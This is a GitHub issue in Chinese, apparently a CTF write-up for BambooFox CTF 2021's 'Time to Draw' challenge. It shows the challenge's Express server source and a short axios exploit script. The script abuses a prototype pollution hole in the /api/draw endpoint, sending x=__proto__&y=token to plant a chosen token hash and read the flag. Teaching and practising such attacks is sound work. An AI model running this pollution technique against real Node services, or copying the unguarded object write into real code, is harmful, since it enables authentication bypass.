Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

BambooFox CTF 2021 - Time to Draw #1

Open
aszx87410 opened this issue Jan 31, 2021 · 0 comments
Open

BambooFox CTF 2021 - Time to Draw #1

aszx87410 opened this issue Jan 31, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

是一個畫圖然後會即時同步的網站,有附上 source code:

const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");

const app = express();
app.use(cookieParser(secret.FLAG));

let canvas = {
    ...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

app.get('/', (req, res) => {
    if (!req.signedCookies.user)
        res.cookie('user', { admin: false }, { signed: true });

    res.sendFile(__dirname + "/index.html");
});

app.get('/source', (_, res) => {
    res.sendFile(__filename);
});

app.get('/api/canvas', (_, res) => {
    res.json(canvas);
});

app.get('/api/draw', (req, res) => {
    let { x, y, color } = req.query;
    if (x && y && color) canvas[x][y] = color.toString();
    res.json(canvas);
});

app.get('/promote', (req, res) => {
    if (req.query.yo_i_want_to_be === 'admin')
        res.cookie('user', { admin: true }, { signed: true });
    res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});

app.get('/flag', (req, res) => {
    let userData = { isGuest: true };
    if (req.signedCookies.user && req.signedCookies.user.admin === true) {
        userData.isGuest = false;
        userData.isAdmin = req.cookies.admin;
        userData.token = secret.ADMIN_TOKEN;
    }

    if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
        hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
        res.send(secret.FLAG);
    else
        res.send("NO");
});

app.listen(3000, "0.0.0.0");

因為最近才解了一題 prototype pollution 的題目,所以一眼就看到:if (x && y && color) canvas[x][y] = color.toString(); 跟最後一段的判斷:

if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
    hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
    res.send(secret.FLAG);
else
    res.send("NO");

只要透過原型污染就可以讓 userData.token 可控,接下來只要找到正確的值就行了。

最後的解法長這樣:

var axios = require('axios')
var crypto = require('crypto')
var baseUrl = 'http://chall.ctf.bamboofox.tw:8787'
var myip = '1.1.1.1'

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
const token = '5555555555555555'

const hashValue = hash(`${myip}${token}`)

async function run() {
  await axios.get(baseUrl + '/api/draw?x=__proto__&y=token&color=' + hashValue)
  const response = await axios.get(baseUrl + '/flag?token=' + token)
  console.log(response.data)
}

run()

讓 x = __proto__,y = token,所以就會變成:canvas['__proto__']['token'] = xxx,達成 prototype pollution。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant